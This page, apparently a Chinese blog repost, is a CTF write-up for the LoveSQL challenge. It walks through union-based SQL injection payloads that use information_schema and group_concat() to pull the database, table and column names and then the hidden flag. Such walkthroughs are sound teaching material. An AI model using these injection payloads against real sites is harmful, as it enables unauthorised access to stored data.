当前位置: 首页 > article >正文

BUU10 [极客大挑战 2019]LoveSQL1

万能用户名(密码随便)

 登录进去以后发现是这个东西,然而并没有什么卵用

然后就开始爆破数据库名字--表名--列名

注意:这道题需要将所有的表名都爆出来,需要在payload里头写 group_concat(),否则页面只会显示那个没有flag的假表名

1.1' union select 1,2,database() #

(爆出来数据库名字是 geek)

2.1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

(爆出来geek库中的表名是geekuser(假的)和l0ve1ysq1)

3.1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#

(爆出来有id(永远都是1)和username和password还有flag)

 这个题最大的坑在于flag藏在最终的password中,而必须要用group_concat()去显示完整的行,否则就看不见 


http://www.kler.cn/a/534523.html

相关文章:

  • VLL CCC远程连接实验
  • OpenEuler学习笔记(十六):搭建postgresql高可用数据库环境
  • 移动机器人规划控制入门与实践:基于navigation2 学习笔记(一)
  • R语言 | 使用 ComplexHeatmap 绘制热图,分区并给对角线分区加黑边框
  • React开发中箭头函数返回值陷阱的深度解析
  • 在 Spring Boot 项目中,bootstrap.yml 和 application.yml文件区别
  • RK3576——USB3.2 OTG无法识别到USB设备
  • docker容器编排工具 docker compose
  • 【Elasticsearch】 邻接矩阵聚合(Adjacency Matrix Aggregation)
  • ASP.NET Core中间件Markdown转换器
  • 数据加载器--不同文档数据格式的加载方法
  • seata 1.3.0 本地安装步骤
  • go-zero学习笔记(四)
  • python(自学10-2)获取豆瓣页面 下载成json格式
  • 7.PPT:“中国梦”学习实践活动【20】
  • MySQL常见的存储引擎和区别
  • ASP.NET Core与EF Core的集成
  • 系留无人机通信中继、空地组网技术详解
  • Spring ApplicationContext接口及其实现类的作用
  • React中为每个列表项显示多个DOM节点的解决方案
  • GS论文阅读--Mini-Splatting
  • vscode+Cmake配置c++轻量级环境
  • Java进阶13 线程池
  • Racecar Gym 代码
  • 深入解析:如何利用 Python 爬虫获取商品销量详情
  • 系统学习算法:专题九 穷举vs暴搜vs深搜vs回溯vs剪枝